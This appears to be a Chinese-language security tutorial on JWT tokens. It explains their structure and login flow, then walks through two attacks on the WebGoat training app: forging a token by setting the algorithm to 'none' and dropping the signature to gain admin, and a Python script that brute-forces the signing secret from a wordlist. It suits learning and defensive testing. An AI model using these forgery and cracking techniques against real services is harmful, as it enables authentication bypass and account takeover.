JWT安全上

简介: JWT安全


什么是JWT?
JSON Web Token(JSON Web令牌)是一种跨域验证身份的方案。
JWT不加密传输的数据,但能够通过数字签名来验证数据未被篡改
JWT分为三部分,头部(Header),声明(Claims),签名(Signature),
三个部分以英文句号.隔开。JWT的内容以Base64URL进行了编码。
头部(Header)
{
  "alg":"HS256",
  "typ":"JWT"
}
alg
是说明这个JWT的签名使用的算法的参数,常见值用HS256(默认),HS512等,
也可以为None。HS256表示HMAC SHA256。
typ
说明这个token的类型为JWT
声明(Claims)
{
  "exp": 1416471934,
  "user_name": "user",
  "scope": [
    "read",
    "write"
  ],
  "authorities": [
    "ROLE_ADMIN",
    "ROLE_USER"
  ],
  "jti": "9bc92a44-0b1a-4c5e-be70-da52075b9a84",
  "client_id": "my-client-with-secret"
}
JWT固定参数有:
iss:发行人
exp:到期时间
sub:主题
aud:用户
nbf:在此之前不可用
iat:发布时间
jti:JWT ID用于标识该JWT
签名(Signature)
服务器有一个不会发送给客户端的密码(secret),用头部中指定的算法对头部和声明的内容用此密码进行加密,生成的字符串就是JWT的签名。
下面是一个用HS256生成JWT的代码例子
HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload),secret)

640.png

1、用户端登录,用户名和密码在请求中被发往服务器
2、(确认登录信息正确后)服务器生成JSON头部和声明,将登录信息写入JSON的声明中
(通常不应写入密码,因为JWT是不加密的),并用secret用指定算法进行加密,生成该用户的JWT。此时,服务器并没有保存登录状态信息。
3、服务器将JWT(通过响应)返回给客户端
4、用户下次会话时,客户端会自动将JWT写在HTTP请求头部的Authorization字段中
5、服务器对JWT进行验证,若验证成功,则确认此用户的登录状态
6、服务器返回响应

Javaweb-身份验证攻击-JWT修改伪造攻击

涉及资源链接:

https://jwt.io/

https://github.com/WebGoat/WebGoat/releases

注: WebGoat 需要高版本的jdk才可以打开。

浏览器访问:

http://127.0.0.1:8080/WebGoat/login

新打开的页面  需要用户名和密码 默认没有 需要自己注册一个。

640.png

打开第三关第二节 四关卡

点击一个用户名 再点击重置按钮   burp 抓包

发送到Reteaper 复制令牌 burp更改数据 在重新编码

640.png

640.png

拼接两段数据 中间使用点

注意:
问题来了,因为JWT的声明内容变了,因此签名需要重新生成,生成签名又需要密码,我们没有密码呀?不要慌,我们直接去掉签名就好~修改头部为None
在HTTP传输过程中,Base64编码中的"=","+","/"等特殊符号通过URL解码通常容易产生歧义,因此产生了与URL兼容的Base64 URL编码

原令牌访问

eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE2MDgzNzU5MzksImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiVG9tIn0.oy0xpcSk2SUCF9qlZMVnLU_lzHfMTJi8fle6-OsIM-veFWELa2rH-8Eq0hcs0Gyp0XeAsK3YZc9GJojCvbUhFg

修改后的令牌访问

ewogICJhbGciOiAibm9uJ2UiCn0.ewogICJpYXQiOiAxNjA4Mzc1OTM5LAogICJhZG1pbiI6ICJ0cnVlIiwKICAidXNlciI6ICJUb20iCn0.

Javaweb-身份验证攻击-JWT密匙爆破攻击

    import jwt
    import termcolor
    if __name__ == "__main__":
        jwt_str = R'eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTYwNzUxNDAxNSwiZXhwIjoxNjA3NTE0MDc1LCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.U0CtVEeNt9OQLWIoa3balJ_4S7czcnhAkMx6NHERC34
    '
        with open('top1000.txt') as f:
            for line in f:
                key_ = line.strip()
                try:
                    jwt.decode(jwt_str, verify=True, key=key_)
                    print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--')
                    break
                except (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):
                    print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--')
                    break
                except jwt.exceptions.InvalidSignatureError:
                    print('\r', ' ' * 64, '\r\btry', key_, end='', flush=True)
                    continue
            else:
                print('\r', '\bsorry! no key be found.')


    相关文章
    |
    存储 JSON 安全
    解锁互联网安全的新钥匙:JWT(JSON Web Token)
    解锁互联网安全的新钥匙:JWT(JSON Web Token)
    209 0
    |
    3月前
    |
    JSON 安全 数据安全/隐私保护
    Python安全新篇章:OAuth与JWT携手,开启认证与授权的新时代
    【8月更文挑战第6天】随着互联网应用的发展,安全认证与授权变得至关重要。本文介绍OAuth与JWT两种关键技术,并展示如何结合它们构建安全系统。OAuth允许用户授权第三方应用访问特定信息,无需分享登录凭证。JWT是一种自包含的信息传输格式,用于安全地传递信息。通过OAuth认证用户并获取JWT,可以验证用户身份并保护数据安全,为用户提供可靠的身份验证体验。
    48 6
    |
    4月前
    |
    存储 JSON 安全
    OAuth2与JWT在API安全中的角色:技术深度解析
    【7月更文挑战第20天】OAuth2和JWT作为两种重要的安全协议,在API安全中发挥着不可或缺的作用。OAuth2通过提供灵活的授权框架,实现了对资源的细粒度访问控制;而JWT则通过其紧凑性和自包含性,确保了身份验证和信息传输的安全性。在实际应用中,将OAuth2和JWT结合使用,可以构建出既强大又安全的API服务,为用户提供更加安全、可靠和便捷的数字体验。
    |
    3月前
    |
    安全 Nacos 数据安全/隐私保护
    【技术干货】破解Nacos安全隐患:连接用户名与密码明文传输!掌握HTTPS、JWT与OAuth2.0加密秘籍,打造坚不可摧的微服务注册与配置中心!从原理到实践,全方位解析如何构建安全防护体系,让您从此告别数据泄露风险!
    【8月更文挑战第15天】Nacos是一款广受好评的微服务注册与配置中心,但其连接用户名和密码的明文传输成为安全隐患。本文探讨加密策略提升安全性。首先介绍明文传输风险,随后对比三种加密方案:HTTPS简化数据保护;JWT令牌减少凭证传输,适配分布式环境;OAuth2.0增强安全,支持多授权模式。每种方案各有千秋,开发者需根据具体需求选择最佳实践,确保服务安全稳定运行。
    320 0
    |
    3月前
    |
    JSON 安全 数据安全/隐私保护
    🔒Python安全新纪元:揭秘OAuth与JWT如何守护你的认证王国👑
    【8月更文挑战第4天】互联网应用的繁荣让数据安全与用户认证至关重要。在Python领域,OAuth与JWT成为保障认证安全的关键技术。OAuth作为授权框架,允许第三方应用安全地访问用户数据,无需暴露密码。JWT则是一种轻量级的信息交换标准,能安全地在客户端和服务端之间传递认证信息。结合二者,可以构建强大的认证体系,显著增强应用的安全性和用户体验。
    30 0
    |
    6月前
    |
    JSON 安全 网络安全
    超详细的用户认证、权限、安全原理详解(认证、权限、JWT、RFC 7235、HTTPS、HSTS、PC端、服务端、移动端、第三方认证等等)
    超详细的用户认证、权限、安全原理详解(认证、权限、JWT、RFC 7235、HTTPS、HSTS、PC端、服务端、移动端、第三方认证等等)
    1055 0
    |
    安全 Java 数据库
    Spring Boot 3 + JWT + Security 联手打造安全帝国:一篇文章让你掌握未来!
    `Spring Security`已经成为`java`后台权限校验的第一选择.今天就通过读代码的方式带大家深入了解一下Security,本文主要是基于开源项目[spring-boot-3-jwt-security](https://github.com/ali-bouali/spring-boot-3-jwt-security)来讲解Spring Security + JWT(Json Web Token).实现用户鉴权,以及权限校验. 所有代码基于`jdk17+`构建.现在让我们开始吧!
    2370 1
     Spring Boot 3 + JWT + Security 联手打造安全帝国:一篇文章让你掌握未来!
    |
    存储 安全 前端开发
    深入探讨安全验证:OAuth2.0、Cookie与Session、JWT令牌、SSO与开放授权平台设计
    这篇文章讨论了认证和授权的概念,并探讨了设计权限认证框架的原则。它还比较了Cookie和Session的区别,并探讨了处理分布式部署时的Session保存问题。此外,文章还介绍了CSRF攻击及其防范方法,以及OAuth2.0、JWT令牌和SSO的概念。最后,文章提出了设计开放授权平台时需要考虑的因素。
    204 0
    深入探讨安全验证:OAuth2.0、Cookie与Session、JWT令牌、SSO与开放授权平台设计
    |
    SQL 存储 安全
    AVA安全-JWT安全&预编译CASE注入
    AVA安全-JWT安全&预编译CASE注入
    101 0
    |
    JSON 数据可视化 安全
    JWT 鉴权插件上线!让你的 API 更安全!
    API鉴权是保证API安全性和可用性的一项重要措施。通过API鉴权,系统可以对用户或者应用进行有效的身份认证和权限管理。 除了我们之前更新的 Basic Auth 鉴权插件,这次给大家带来 JWT 鉴权插件。
    JWT 鉴权插件上线!让你的 API 更安全!